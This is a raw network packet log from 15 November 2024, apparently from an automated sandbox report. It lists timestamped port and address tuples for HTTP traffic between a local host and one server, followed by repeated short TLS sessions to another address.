Nov 15, 2024 09:10:25.333103895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333106995 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333143950 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333149910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333159924 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333203077 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333705902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333718061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333729029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333739042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333750010 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333751917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333762884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333774090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333779097 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333785057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333796024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333801031 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333806992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333817959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333822012 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333830118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333841085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333843946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333849907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333859921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333862066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333869934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333880901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333900928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333921909 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.333965063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333976984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334022999 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.334099054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334196091 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334208965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334218979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334229946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334242105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334249020 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.334254026 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334275961 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.334450006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334460020 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334470034 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334487915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334500074 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334503889 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.334512949 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334523916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334533930 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334544897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334547997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.334554911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334567070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334585905 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.334605932 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.334912062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334923029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334933996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334945917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.334958076 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.334979057 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.360754013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.360774994 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.360786915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.360878944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.360881090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.360894918 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.360944033 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.360970020 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.360981941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361006021 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.361030102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361041069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361052036 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361073017 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.361114979 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.361150980 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361162901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361175060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361213923 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.361330986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361342907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361354113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361375093 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.361394882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361397982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.361407042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361418962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.361454010 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.384403944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.393255949 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393275976 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393286943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393321037 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.393333912 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.393414021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393424034 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393434048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393443108 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393465996 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.393516064 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.393542051 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393553972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393563986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.393605947 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.393995047 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.394032001 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.394037962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.441761017 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.594772100 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.594799995 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:29.636575937 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:11:22.858390093 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:22.858443975 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:22.858509064 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:22.861458063 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:22.861505985 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:23.727802038 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:23.727881908 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:23.811161041 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:23.811181068 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:23.811765909 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:23.811846018 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:23.814841986 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:23.815516949 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:23.815558910 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:23.815623045 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:23.815630913 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:24.221399069 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:24.223598003 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:24.223634005 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:24.223694086 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:24.228631020 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:24.228708982 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:24.229021072 CET	443	49978	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:24.229127884 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:24.229147911 CET	49978	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:25.825174093 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:25.825222969 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:25.825361013 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:25.825825930 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:25.825841904 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:26.665884972 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:26.666069031 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:26.715207100 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:26.715235949 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:26.716131926 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:26.716258049 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:26.716706991 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:26.716706991 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:26.716727972 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:27.007587910 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:27.007723093 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:27.007736921 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:27.007833958 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:27.008802891 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:27.008858919 CET	443	49979	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:27.009043932 CET	49979	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:28.592113972 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:28.592159033 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:28.592231035 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:28.592556000 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:28.592565060 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:29.442656040 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:29.442727089 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:29.445137024 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:29.445142984 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:29.445385933 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:29.445497990 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:29.445853949 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:29.445966959 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:29.445971012 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:29.766139984 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:29.766201973 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:29.766215086 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:29.766251087 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:29.766680956 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:29.766710997 CET	443	49980	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:29.766757011 CET	49980	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:31.441318989 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:31.441421986 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:31.441514015 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:31.503180027 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:31.503241062 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:32.348320961 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:32.348526001 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:32.352147102 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:32.352160931 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:32.352673054 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:32.352735043 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:32.353151083 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:32.353310108 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:32.353316069 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:32.666448116 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:32.666569948 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:32.666604042 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:32.666676998 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:32.667136908 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:32.667231083 CET	443	49981	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:32.667326927 CET	49981	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:34.308516026 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:34.308619022 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:34.308702946 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:34.308979034 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:34.309005022 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:35.712488890 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:35.712698936 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:35.714386940 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:35.714394093 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:35.714629889 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:35.714684963 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:35.715301037 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:35.715400934 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:35.715406895 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:35.986126900 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:35.986279964 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:35.986318111 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:35.986376047 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:35.986778975 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:35.986854076 CET	443	49982	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:35.987006903 CET	49982	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:37.620296955 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:37.620393038 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:37.620498896 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:37.620754957 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:37.620783091 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:38.466506958 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:38.466731071 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:38.468950987 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:38.468965054 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:38.469293118 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:38.469387054 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:38.469834089 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:38.469933033 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:38.469942093 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:38.750747919 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:38.750850916 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:38.750879049 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:38.750922918 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:38.751168966 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:38.751207113 CET	443	49983	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:38.751254082 CET	49983	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:40.324136972 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:40.324249983 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:40.324338913 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:40.324609041 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:40.324654102 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:41.171813011 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:41.172044992 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:41.173722982 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:41.173743010 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:41.174057961 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:41.174221992 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:41.174681902 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:41.174812078 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:41.174820900 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:41.462229013 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:41.462336063 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:41.462366104 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:41.462414980 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:41.462702990 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:41.462789059 CET	443	49984	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:41.462862968 CET	49984	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.042145014 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.042200089 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:43.042260885 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.042506933 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.042525053 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:43.881654978 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:43.881870985 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.889745951 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.889759064 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:43.890021086 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:43.890064001 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.890435934 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.890522957 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:43.890527010 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:44.176539898 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:44.176667929 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:44.176685095 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:44.176728010 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:44.177179098 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:44.177212000 CET	443	49985	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:44.177259922 CET	49985	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:45.761178017 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:45.761240005 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:45.761341095 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:45.761604071 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:45.761615992 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:46.609458923 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:46.609576941 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:46.611438990 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:46.611458063 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:46.611798048 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:46.611850977 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:46.612332106 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:46.612446070 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:46.612452030 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:46.893004894 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:46.893066883 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:46.893095016 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:46.893141031 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:46.893359900 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:46.893431902 CET	443	49986	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:46.893481970 CET	49986	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:48.465507984 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:48.465569973 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:48.465643883 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:48.465913057 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:48.465930939 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:49.510282993 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:49.510445118 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:49.512227058 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:49.512238979 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:49.512561083 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:49.512633085 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:49.512989998 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:49.513142109 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:49.513147116 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:49.955183029 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:49.955337048 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:49.955369949 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:49.955429077 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:49.955811024 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:49.955863953 CET	443	49987	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:49.955928087 CET	49987	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:51.557763100 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:51.557816029 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:51.557919979 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:51.558181047 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:51.558202028 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:52.394733906 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:52.396920919 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:52.396920919 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:52.396939039 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:52.397272110 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:52.397342920 CET	49988	443	192.168.2.10	149.154.167.220
